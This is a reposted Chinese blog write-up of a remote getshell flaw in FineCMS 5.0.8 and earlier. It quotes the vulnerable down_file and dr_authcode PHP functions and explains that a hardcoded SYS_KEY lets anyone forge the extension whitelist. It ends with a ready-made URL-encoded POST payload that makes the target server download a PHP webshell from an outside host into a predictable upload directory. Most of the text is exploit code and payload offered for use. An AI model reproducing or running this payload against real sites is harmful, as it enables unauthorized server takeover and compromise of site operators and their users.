IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    通杀FineCMS5.0.8及版本以下getshell漏洞的

    没穿底裤发表于 2017-07-07 17:59:58
    love 0

    在文件finecms/dayrui/controllers/member/Api.php里面有一个down_file函数.可以从远程下载文件到本地服务器.

        public function down_file() {
    
            $p = array();
            $url = explode('&', $this->input->post('url'));
            //经过& 分割
    
            foreach ($url as $t) {
                $item = explode('=', $t);
                $p[$item[0]] = $item[1];
            }
            //经过 = 分割
            !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
            //对$p['code'] 进行解码
            list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));
            //得到尺寸和后缀
            $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/';
            !is_dir($path) && dr_mkdirs($path);
    
            $furl = $this->input->post('file');
            $file = dr_catcher_data($furl);
            //dr_catcher_data 是读取远程文件
            !$file && exit(dr_json(0, '获取远程文件失败'));
    
            $fileext = strtolower(trim(substr(strrchr($furl, '.'), 1, 10))); //扩展名
            !@in_array($fileext, @explode(',', $ext)) && exit(dr_json(0, '远程文件扩展名('.$fileext.')不允许'));
            
            $filename = substr(md5(time()), 0, 7).rand(100, 999);
            if (@file_put_contents($path.$filename.'.'.$fileext, $file)) {
                $info = array(
                    'file_ext' => '.'.$fileext,
                    'full_path' => $path.$filename.'.'.$fileext,
                    'file_size' => filesize($path.$filename.'.'.$fileext)/1024,
                    'client_name' => '',
                );

    大概就是先对url进行& 以及 =的分割.最后把code拿出来利用dr_authcode解密.在文件/finecms/dayrui/helpers/function_helper.php里面发现了对dr_authcode的定义

    function dr_authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    
        if (!$string) {
            return '';
        }
    
        $ckey_length = 4;
    
        $key = md5($key ? $key : SYS_KEY);
        $keya = md5(substr($key, 0, 16));
        $keyb = md5(substr($key, 16, 16));
        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
    
        $cryptkey = $keya . md5($keya . $keyc);
        $key_length = strlen($cryptkey);
    
        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
        $string_length = strlen($string);
    
        $result = '';
        $box = range(0, 255);
    
        $rndkey = array();
        for ($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
        }
    
        for ($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
    
        for ($a = $j = $i = 0; $i < $string_length; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result.= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
    
        if ($operation == 'DECODE') {
            if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
                return substr($result, 26);
            } else {
                return '';
            }
        } else {
            return $keyc . str_replace('=', '', base64_encode($result));
        }
    }

    其中还是关联到了SYS_KEY。然而这个值被写死了.没有初始化,所以任何人都可以利用。

    修改了下down_file函数的过程.节省了传参过程

            $teststr = "1234|php,txt,jpg,png";
            $shell = dr_authcode($teststr, 'ENCODE');
    
            $url = "cmd=webshell&code=".$shell;
            $url = explode('&', $url);
            //先按照&进行分割
            foreach ($url as $t) {
                $item = explode('=', $t);
                //再按照 = 来分割
                $p[$item[0]] = $item[1];
            }
            
            !$this->uid && exit(dr_json(0, fc_lang('游客不允许上传附件')));
            
            list($size, $ext) = explode('|', dr_authcode($p['code'], 'DECODE'));

    路径是根据当月时间来生成的

    $path = SYS_UPLOAD_PATH.'/'.date('Ym', SYS_TIME).'/'; //年月

    利用就好办了.利用$key的值不变.然后生成一个参数url在post一下

    file=http://cmd.baidu.info/?cmd.php&url=%63%6d%64%3d%77%65%62%73%68%65%6c%6c%26%63%6f%64%65%3d%30%62%35%37%6f%61%38%35%70%4e%6f%72%38%5a%7a%4e%41%42%30%79%38%4e%2f%5a%53%4e%44%71%30%74%31%68%46%6f%34%63%4f%49%41%53%7a%42%67%61%49%57%34%79%47%59%51%46%47%31%79%73%56%5a%62%6f%52%67%52%63%46%51



沪ICP备19023445号-2号
友情链接